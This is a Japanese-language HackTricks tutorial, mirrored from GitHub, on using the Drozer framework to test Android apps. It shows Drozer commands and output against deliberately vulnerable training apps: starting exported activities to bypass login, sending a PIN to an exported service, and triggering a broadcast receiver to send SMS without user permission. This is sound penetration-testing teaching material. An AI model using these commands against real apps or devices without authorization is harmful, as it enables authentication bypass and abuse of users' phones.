mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
256 lines
13 KiB
Markdown
256 lines
13 KiB
Markdown
# Drozer チュートリアル
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|
||
## テストする APK
|
||
|
||
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs から)
|
||
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
|
||
|
||
**このチュートリアルの一部は** [**Drozer ドキュメント pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**から抜粋されました。**
|
||
|
||
## インストール
|
||
|
||
ホスト内に Drozer クライアントをインストールします。[最新のリリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。
|
||
```bash
|
||
pip install drozer-2.4.4-py2-none-any.whl
|
||
pip install twisted
|
||
pip install service_identity
|
||
```
|
||
[最新のリリース](https://github.com/mwrlabs/drozer/releases)からdrozer APKをダウンロードしてインストールします。現時点では[これ](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)です。
|
||
```bash
|
||
adb install drozer.apk
|
||
```
|
||
### サーバーの起動
|
||
|
||
エージェントはポート31415で実行されています。Drozerクライアントとエージェント間の通信を確立するために、[ポートフォワーディング](https://en.wikipedia.org/wiki/Port_forwarding)を行う必要があります。これを行うためのコマンドは次のとおりです:
|
||
```bash
|
||
adb forward tcp:31415 tcp:31415
|
||
```
|
||
最後に、**アプリケーション**を**起動**し、下の「**ON**」を押します。
|
||
|
||
.png>)
|
||
|
||
そして、それに接続します:
|
||
```bash
|
||
drozer console connect
|
||
```
|
||
## 興味深いコマンド
|
||
|
||
| **コマンド** | **説明** |
|
||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||
| **Help MODULE** | 選択したモジュールのヘルプを表示します |
|
||
| **list** | 現在のセッションで実行可能なすべてのdrozerモジュールのリストを表示します。適切な権限がないモジュールは非表示になります。 |
|
||
| **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 |
|
||
| **clean** | Androidデバイス上にdrozerが保存した一時ファイルを削除します。 |
|
||
| **load** | drozerコマンドを含むファイルを読み込み、順番に実行します。 |
|
||
| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 |
|
||
| **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 |
|
||
| **set** | drozerによって生成される任意のLinuxシェルに環境変数として渡される変数に値を格納します。 |
|
||
| **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 |
|
||
| **run MODULE** | drozerモジュールを実行します |
|
||
| **exploit** | Drozerはデバイスで実行するためのエクスプロイトを作成できます。 `drozer exploit list` |
|
||
| **payload** | エクスプロイトにはペイロードが必要です。 `drozer payload list` |
|
||
|
||
### パッケージ
|
||
|
||
名前の一部でフィルタリングして**パッケージ名**を見つけます:
|
||
```bash
|
||
dz> run app.package.list -f sieve
|
||
com.mwr.example.sieve
|
||
```
|
||
**パッケージの基本情報**:
|
||
```bash
|
||
dz> run app.package.info -a com.mwr.example.sieve
|
||
Package: com.mwr.example.sieve
|
||
Process Name: com.mwr.example.sieve
|
||
Version: 1.0
|
||
Data Directory: /data/data/com.mwr.example.sieve
|
||
APK Path: /data/app/com.mwr.example.sieve-2.apk
|
||
UID: 10056
|
||
GID: [1028, 1015, 3003]
|
||
Shared Libraries: null
|
||
Shared User ID: null
|
||
Uses Permissions:
|
||
- android.permission.READ_EXTERNAL_STORAGE
|
||
- android.permission.WRITE_EXTERNAL_STORAGE
|
||
- android.permission.INTERNET
|
||
Defines Permissions:
|
||
- com.mwr.example.sieve.READ_KEYS
|
||
- com.mwr.example.sieve.WRITE_KEYS
|
||
```
|
||
**マニフェスト**を読む:
|
||
```bash
|
||
run app.package.manifest jakhar.aseem.diva
|
||
```
|
||
**パッケージの攻撃面**:
|
||
```bash
|
||
dz> run app.package.attacksurface com.mwr.example.sieve
|
||
Attack Surface:
|
||
3 activities exported
|
||
0 broadcast receivers exported
|
||
2 content providers exported
|
||
2 services exported
|
||
is debuggable
|
||
```
|
||
- **活動**: おそらく、アクティビティを開始し、起動を防ぐべき認証をバイパスできるかもしれません。
|
||
- **コンテンツプロバイダー**: おそらく、プライベートデータにアクセスしたり、いくつかの脆弱性(SQLインジェクションやパストラバーサル)を悪用できるかもしれません。
|
||
- **サービス**:
|
||
- **デバッグ可能**: [詳細を学ぶ](./#is-debuggeable)
|
||
|
||
### 活動
|
||
|
||
エクスポートされたアクティビティコンポーネントの “android:exported” 値は、AndroidManifest.xmlファイルで **“true”** に設定されています:
|
||
```markup
|
||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||
</activity>
|
||
```
|
||
**エクスポートされたアクティビティのリスト**:
|
||
```bash
|
||
dz> run app.activity.info -a com.mwr.example.sieve
|
||
Package: com.mwr.example.sieve
|
||
com.mwr.example.sieve.FileSelectActivity
|
||
com.mwr.example.sieve.MainLoginActivity
|
||
com.mwr.example.sieve.PWList
|
||
```
|
||
**アクティビティを開始**:
|
||
|
||
おそらく、アクティビティを開始し、起動を防ぐべきいくつかの認証をバイパスできるかもしれません。
|
||
```bash
|
||
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
|
||
```
|
||
**adb**を使用してエクスポートされたアクティビティを開始することもできます:
|
||
|
||
- PackageNameはcom.example.demoです
|
||
- Exported ActivityNameはcom.example.test.MainActivityです
|
||
```bash
|
||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||
```
|
||
### コンテンツプロバイダー
|
||
|
||
この投稿はここに収まりきらないので、**こちらの独自のページでアクセスできます**[**こちら**](exploiting-content-providers.md)。
|
||
|
||
### サービス
|
||
|
||
エクスポートされたサービスは、Manifest.xml内で宣言されます:
|
||
```markup
|
||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||
```
|
||
コード内で**check**を行い、**`handleMessage`**関数を探してください。この関数は**message**を**受信**します:
|
||
|
||
.png>)
|
||
|
||
#### サービスのリスト
|
||
```bash
|
||
dz> run app.service.info -a com.mwr.example.sieve
|
||
Package: com.mwr.example.sieve
|
||
com.mwr.example.sieve.AuthService
|
||
Permission: null
|
||
com.mwr.example.sieve.CryptoService
|
||
Permission: null
|
||
```
|
||
#### **サービス**と対話する
|
||
```bash
|
||
app.service.send Send a Message to a service, and display the reply
|
||
app.service.start Start Service
|
||
app.service.stop Stop Service
|
||
```
|
||
#### 例
|
||
|
||
`app.service.send`の**drozer**ヘルプを見てください:
|
||
|
||
.png>)
|
||
|
||
最初に"_msg.what_"の中のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\
|
||
`--extra`オプションを使用すると、"_msg.replyTo_"によって解釈されるものを送信でき、`--bundle-as-obj`を使用すると、提供された詳細を持つオブジェクトを作成します。
|
||
|
||
次の例では:
|
||
|
||
- `what == 2354`
|
||
- `arg1 == 9234`
|
||
- `arg2 == 1`
|
||
- `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
|
||
```bash
|
||
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
|
||
```
|
||
.png>)
|
||
|
||
### ブロードキャストレシーバー
|
||
|
||
**Androidの基本情報セクションでは、ブロードキャストレシーバーとは何かを見ることができます**。
|
||
|
||
このブロードキャストレシーバーを発見した後は、**コードを確認**する必要があります。特に**`onReceive`**関数に注意を払い、受信したメッセージを処理します。
|
||
|
||
#### **すべての** ブロードキャストレシーバーを検出する
|
||
```bash
|
||
run app.broadcast.info #Detects all
|
||
```
|
||
#### アプリのブロードキャストレシーバーを確認する
|
||
```bash
|
||
#Check one negative
|
||
run app.broadcast.info -a jakhar.aseem.diva
|
||
Package: jakhar.aseem.diva
|
||
No matching receivers.
|
||
|
||
# Check one positive
|
||
run app.broadcast.info -a com.google.android.youtube
|
||
Package: com.google.android.youtube
|
||
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
|
||
Permission: null
|
||
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
|
||
Permission: com.google.android.c2dm.permission.SEND
|
||
com.google.android.apps.youtube.app.PackageReplacedReceiver
|
||
Permission: null
|
||
com.google.android.libraries.youtube.account.AccountsChangedReceiver
|
||
Permission: null
|
||
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
|
||
Permission: null
|
||
```
|
||
#### ブロードキャスト **インタラクション**
|
||
```bash
|
||
app.broadcast.info Get information about broadcast receivers
|
||
app.broadcast.send Send broadcast using an intent
|
||
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
|
||
```
|
||
#### メッセージを送信
|
||
|
||
この例では、[FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) のコンテンツプロバイダーを悪用して、ユーザーに許可を求めることなく、**任意のSMS**を非プレミアムの宛先に**送信**できます。
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
コードを読むと、パラメータ "_phoneNumber_" と "_message_" をコンテンツプロバイダーに送信する必要があります。
|
||
```bash
|
||
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
|
||
```
|
||
### Is debuggeable
|
||
|
||
生産用APKは決してデバッグ可能であってはなりません。\
|
||
これは、**Javaデバッガ**を実行中のアプリケーションにアタッチし、実行時に検査し、ブレークポイントを設定し、ステップバイステップで進み、変数の値を収集し、さらにはそれらを変更することができることを意味します。[InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code.
|
||
|
||
アプリケーションがデバッグ可能な場合、マニフェストに表示されます:
|
||
```xml
|
||
<application theme="@2131296387" debuggable="true"
|
||
```
|
||
すべてのデバッグ可能なアプリケーションは**Drozer**で見つけることができます:
|
||
```bash
|
||
run app.package.debuggable
|
||
```
|
||
## チュートリアル
|
||
|
||
- [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
|
||
- [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
|
||
- [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
|
||
- [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
|
||
|
||
## さらに詳しい情報
|
||
|
||
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
|
||
|
||
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|